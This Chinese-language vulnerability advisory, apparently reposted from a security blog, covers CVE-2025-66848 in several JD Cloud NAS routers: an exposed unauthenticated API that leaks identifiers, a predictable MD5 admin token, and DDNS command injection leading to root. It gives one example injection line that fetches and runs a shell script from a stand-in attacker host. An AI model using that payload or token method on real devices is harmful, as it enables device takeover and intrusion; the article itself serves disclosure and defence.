文章总结： 某东云多款NAS路由器存在CVE-2025-66848高危漏洞，公网暴露未鉴权/api/joylink接口泄露MAC与feedid，攻击者可预测MD5令牌直接获管理员权限并借DDNS命令注入以root执行任意代码，受影响固件覆盖AX1800/Pro、AX3000、AX6600、BE6500、ER1/2等型号，官方需立即升级并关闭公网接口。
综合评分： 95
文章分类： 漏洞预警,IoT安全,漏洞分析,威胁情报,网络安全
某东云路由器可直接获取root权限
原创
suntiger
二进制空间安全
2026年1月12日 09:15
北京
将二进制空间安全设为”星标⭐️”
第一时间收到文章更新
事件背景
#
某东云旗下多款主流 NAS 路由器被曝出安全漏洞，该漏洞或导致数以千计的家庭及企业网络完全暴露在攻击风险之下。此漏洞影响该品牌多款路由器型号，远程攻击者可借此彻底绕过身份验证机制，并以最高权限执行任意命令。
该漏洞编号为CVE-2025-66848，CVSS 评分高达 9.8 分, 这一评分等级专用于界定危害性最大、最易被利用的高危漏洞。
#
未鉴权API暴露
攻击的起点是一个未做安全防护的API接口:/api/joylink, 该接口不仅未做任何身份鉴权, 而且会直接泄露敏感的设备信息, 包括路由器的MAC地址, 以及一个名为feedid的唯一标识符。
攻击者获取这些泄露的数据后，只需借助已知的哈希算法（MD5）执行一个相对简单的运算，就能生成有效的管理员令牌。在安全设计中,”设备唯一标识” + “可预测算法”约等于 “明文口令”。
对于一个基本合理的API接口设计,至少应该满足以下结构:
┌──────────────────────────┐│ 云端管理平台（JD Cloud） │└──────────▲───────────────┘ │ 已鉴权┌──────────┴───────────────┐│ 设备管理 API（内部） │ ← 需要 token / mTLS│ - 设备注册 ││ - 设备状态 ││ - 控制指令 │└──────────▲───────────────┘ │┌──────────┴───────────────┐│ 本地设备接口（LAN only） │ ← 仅内网访问│ - 状态查询 ││ - 本地配置 │└──────────────────────────┘
而在该漏洞中,本应在设备内部管理的API,直接暴露在公网可直接调用:
公网 ↓/api/joylink ← 直接暴露 ↓返回：MAC + feedid
在缺少身份校验、来源限制、网络隔离、访问频率限制等条件约束的情况下,等于把设备内部识别接口当成了公网信息接口。
黑客攻击路径
在该漏洞中,管理员令牌完全可复现, 管理员Token由Md5+feedid+固定规则即可生成, 在Token生成算法中,无任何随机因子、无时间戳、无服务端私钥。攻击者在获取管理员Token之后,可以调用管理API,直接重置系统密码,无需二次认证即可获取后台管理权限,至此攻击者可拥有Web管理权限、设备配置修改权限、DDNS配置权限。
攻击者可利用设备动态域名解析（DDNS）服务中存在的二次命令注入漏洞发起后续攻击。例如以下的场景:
ddns-client --name=<用户输入>
攻击者可以注入以下命令:
test; wget attacker.com/shell.sh | sh
即可直接获取远程代码执行。一旦命令执行成功, 黑客不仅能以root权限登录, 而且可修改系统文件、可持久化后门、可监听所有流量、可横向攻击内网。
漏洞影响
此次漏洞影响范围覆盖多款搭载旧版固件的NAS路由器，具体型号及受影响固件版本如下：
AX1800（固件版本 v4.3.1.r4308 及更早版本）
AX1800 Pro（固件版本 v4.5.1.r4533 及更早版本）
AX3000（固件版本 v4.3.1.r4318 及更早版本）
AX6600（固件版本 v4.5.1.r4533 及更早版本）
BE6500（固件版本 v4.4.1.r4308 及更早版本）
ER1 / ER2（固件版本 v4.5.1.r4518 及更早版本）
(全文完)
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：二进制空间安全 suntiger《某东云路由器可直接获取root权限》